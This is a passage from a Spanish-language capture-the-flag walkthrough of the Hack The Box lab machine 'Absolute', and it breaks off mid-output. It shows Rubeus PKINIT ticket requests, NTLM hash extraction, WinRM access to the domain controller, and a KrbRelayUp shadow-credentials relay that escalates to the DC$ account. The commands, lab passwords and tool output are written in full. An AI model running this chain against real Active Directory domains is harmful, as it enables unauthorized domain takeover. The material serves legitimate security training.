VdL8BIDezuT1nEi2kwHxZEsTcWdMj781ceVfmJlG9Oagjthx1wr1LE7oIpL4Qm/VdGokQu3uJWUNLrn6bLDdhP+btk0SnPca8HdvevK9EjmwvHGFd51lrReXbsFl2MwDq8Dorb8To1+jMOktmb3osz5k08LgovCC8NWzzHmjsuMeG3wJbHKvvo4MMjW5vR6MfofyPQl19HZNQnsk72YeQr9yPCx6rGwyj5Z6wBtMl8AgdOlDuktGtjBx5r8i/KX80ltP7z8qYnt1WxHp/g2MhLyIkOab1FP9XMjTd/6wHC6fDNQ4nD3iNqN4WDz0J7iWQ++/yy1PRtP1NTEVyeBBzf0WDtEapUb/O+zOVOPU5G2mLuR0SOxaOhOlBmC5tc0PVy7bO3BwInn07VLqaTGSBXrzGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IADQANQAwAGUAZgAxADgAOAAtAGQAOABjADcALQA0AGQAZQA3AC0AOQBhADkAYQAtAGIAMQAyADAANgA5ADAANAA4ADEAYgAxMHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDVwYJKoZIhvcNAQcGoIIDSDCCA0QCAQAwggM9BgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAhcu6IqWG30jwICB9CAggMQSvO+XuZv1BygXqJfTnLvdAQHWicNcaw7pLeaRINYEd8kkTMmQqHUWW821iMFO3snRJdGLYZyjUtO7e5KrKTmBInvvFQJiraItQhjK7ngPKoSTFxWE2wonMYYvuluGmwF+W42uZc+PmFV7gAAUz0Jzd6xwtn+yZ300scVhPR9KOc4j72iEYiotVJCe0pqi0kBHgnuAQ5ve/lyRxVkQpTVJR5wdrRlEqt9TUBcVlC6jJIAKPs+V9nQ6/DYlhr4KB4jUJXEN0EyGOdl9GAGvnZYIKJnU+LTeGfjiRwrxwkJqr+pUBwJCg79H/H1W3kdo7b9aSpX0chdP5weUO3TBBjYhFJpk0TtcQytAjHbYCpiTXj7csw0z6fXOoVBwN+TCnxP9BdAVG/npYykI0sn40WGhwv9HdpDnBsc5qu2/+c0NfpqAOPCQF2S17niPtln7a2WNCeyEcr4V9lhvhJxkcR68rOdxChStWrKuN5g9XRAdr4ENS6cERiI9cg/QN0L9sySUabrra4rHfC434uFGFK0WoOACvvUpnR55Bv8mIlSg0F2E1Txd9WF/SgOiXZfSlbRAPmHgK5Hf2jxvrXsV6ZX3ryNiyJTUy/TKA2sL+lSzLzqThmPZW561h4tjx9IHsZO4Q8Ra9Om+pwEC6WleNW1L8qjGqyo3N4wfB/JMrv/fTdJfGPbxFR6+qR44hUXvLE5uI1ITHsC5iYkoNBta1TnyM2kJ5kWNaqRUj6u4CpswGgwFI3PWu4JAFbZIVv4t2Tt4+dkSlpycGgqS6tzCH41aaPhJzriMJQfU/EjRCFiAQia4XPuazt5DJLozAdJs9VnTRcNwqtJSrkxFvKO2eXFQcKe5Fz8GTwkbO/QjphJC9yocuLaMFQ6mjmSBC9YB1ajvg6vPI8yHUHLRx0G2ncWE2spbm5vJEghHNUzC++oCVx+IUg7BYxeNNxJWGbzkKhaLr9zxUh+94ZaXPFdiwx00a1JoM00uvrMOk6Y5hXUgDCu/xD9Ghj6OufocQMPCdFfIuSCz6LNfy+1T+ESTr2pgDA7MB8wBwYFKw4DAhoEFP/2Wa26td4QNvYoAEsAKqQb8Aj5BBTMLXPc53du/ASCn05XC8bKMqJ3ugICB9A= /password:"nC38msY6DYWxnRBx" /domain:absolute.htb /dc:dc.absolute.htb /getcredentials /showPS /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=winrm_user
[*] Building AS-REQ (w/ PKINIT preauth) for: 'absolute.htb\winrm_user'
[*] Using domain controller: 10.129.142.54:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
[+] Ticket successfully imported!
ServiceName : krbtgt/absolute.htb
ServiceRealm : ABSOLUTE.HTB
UserName : winrm_user
UserRealm : ABSOLUTE.HTB
EndTime : 08/11/2023 23:30:14
RenewTill : 08/11/2023 23:30:14
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : rc4_hmac
Base64(key) : xlFGVb2NSEG/OGT554br/g==
ASREP (key) : 908B13B981F87CCB610AE52F5A8F6DE5
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : **8738C7413A5DA3BC1D083EFC0AB06CB2**
El comando se ha ejecutado correctamente y ya tenemos el ticket en memoria.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\Alex\Desktop\HTB\Absolute> klist
El id. de inicio de sesión actual es 0:0xb74b2
Vales almacenados en caché: (1)
#0> Cliente: winrm_user @ ABSOLUTE.HTB
Servidor: krbtgt/ABSOLUTE.HTB @ ABSOLUTE.HTB
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale 0xe10000 -> renewable initial pre_authent name_canonicalize
Hora de inicio: 11/6/2023 20:33:13 (local)
Hora de finalización: 11/6/2023 23:57:59 (local)
Hora de renovación: 11/6/2023 23:57:59 (local)
Tipo de clave de sesión: AES-256-CTS-HMAC-SHA1-96
Marcas de caché: 0x1 -> PRIMARY
KDC llamado:
Pues como hemos visto anteriormente el usuario pertenece al grupo de Remote Managament Users, por lo que ya podríamos acceder por WinRM al DC. Puede ser que de problemas debido a la configuración de la máquina Windows de atacante.
1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\Alex\desktop\HTB\Absolute> Enter-PSSession -ComputerName dc.absolute.htb
Enter-PSSession : Error de conexión al servidor remoto dc.absolute.htb. Mensaje de error: El cliente WinRM no puede
procesar la solicitud. Si el esquema de autenticación es distinto de Kerberos o si el equipo cliente no está unido a
lista TrustedHosts. Para obtener más información, ejecute el siguiente comando: winrm help config. Para obtener más
información, consulte el tema de la Ayuda about_Remote_Troubleshooting.
En línea: 1 Carácter: 1
+ Enter-PSSession -ComputerName dc.absolute.htb
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (dc.absolute.htb:String) [Enter-PSSession], PSRemotingTransportExceptio
n
+ FullyQualifiedErrorId : CreateRemoteRunspaceFailed
Para solucionarlo simplemente ejecutar el siguiente comando, para añadir a absolute como Trusted Host
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\Alex\desktop\HTB\Absolute> winrm set winrm/config/client '@{TrustedHosts="dc.absolute.htb"}'
Client
NetworkDelayms = 5000
URLPrefix = wsman
AllowUnencrypted = false
Auth
Basic = true
Digest = true
Kerberos = true
Negotiate = true
Certificate = true
CredSSP = false
DefaultPorts
HTTP = 5985
HTTPS = 5986
TrustedHosts = dc.absolute.htb
Y finalmente obtenemos una shell dentro del sistema.
Escalada de Privilegios
KrbRelayUp
Después de tirar Winpeas para enumerar posibles vías de elevar mi privilegio, nos muestra una opción que es KrbRelayUp
Este ataque consiste en crear una cuenta de máquina y aprovecharla para realizar un ataque Kerberos Relay en el controlador de dominio con la firma LDAP deshabilitada. Para que el ataque funcione el sistema no debe de estar parcheado desde octubre de 2022, y el LDAP debe no debe de estar firmado (por defecto en Windows).
Podéis obtener más información de este ataque aquí KrbRelay. Microsoft, lo parcheo hace poco tiempo y antes era una manera habitual de elevar privilegios en AD.
Normalmente con crackmapexec podemos enumerar si LDAP esta firmado o no, pero en está maquina en concreto no funciona. Vamos a suponer que esta sin firmar, ya que es la opción por defecto.
1
2
3
4
❯ cme ldap 10.129.142.54 -u 'm.lovegod' -p 'AbsoluteLDAP2022!' -k -M ldap-checker
SMB 10.129.142.54 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP 10.129.142.54 389 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
LDAP-CHE... 10.129.142.54 389 DC [-] [!!!] invalid credentials - aborting to prevent unnecessary authentication
Podemos comprobar la versión de Windows, podemos ejecutar el siguiente comando.
1
2
3
4
5
[dc.absolute.htb]: PS C:\Users\winrm_user\Documents> reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion
ProductName REG_SZ Windows Server 2019 Standard
No tenemos permisos para enumerar los parches instalados en el sistema, pero como esta máquina fue lanzada en septiembre del 2022, es probable que no lo tenga instalado. Así que vamos a clonar el repositorio de KrbRelayUp para compilarlo en VS Code.
Una vez compilado pasamos el binario a la máquina víctima. Si lo ejecutamos nos dará un error.
Leyendo la documentación del repositorio es necesario de disponer de una sesión interactiva como por ejemplo RDP. Esto lo podemos solucionar con RunasCS.exe. Debemos ejecutar el comando como m.lovegod ya que es el que tiene permisos para cambiar msDS-KeyCredentialLink cambiando el logon type a 9, ya que el 2 y 3 dan problemas debido a que la autenticación NTLM este desactivada para este usuario.
Al igual que en los Potatoes, es necesario tener un CLSID para un servicio RPC válido. Aquí se pueden encontrar varios CLSID. Yo siempre elijo los de TrustedInstaller
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[dc.absolute.htb]: PS C:\programdata\pe> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 ".\KrbRelayUp.exe relay -m shadowcred -cls {752073A1-23F2-4396-85F0-8FDB879ED0ED}"
KrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] Generating certificate
[+] Certificate generated
[+] Generating KeyCredential
[+] KeyCredential generated with DeviceID dc6bb9da-2de4-4f0e-a68b-ee27ee606de2
[+] KeyCredential added successfully
[+] Run the spawn method for SYSTEM shell:
./KrbRelayUp.exe spawn -m shadowcred -d absolute.htb -dc dc.absolute.htb -ce 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 -cep kN9=qE6/eA2#
El output de KrbRelayUp indica que ejecutó con éxito el ataque, y creó shadow credentials para la cuenta de DC$. Ahora puedo tratar de utilizar este certificado con contraseña de una manera diferente. Voy a utilizar Rubeus desde mi máquina Windows, para ello he utilizado el siguiente comando.
Es importante contar con un ticket para el usuario m.lovegod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PS C:\Users\Alex> C:\tools\Rubeus.exe asktgt /user:DC$ /certificate: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 /password:'xL8=jH0/bQ3@' /getcredentials /show /nowrap /domain:absolute.htb
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN="CN=DC", OU=Domain Controllers, DC=absolute, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'absolute.htb\DC$'
[*] Using domain controller: 10.129.142.54:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
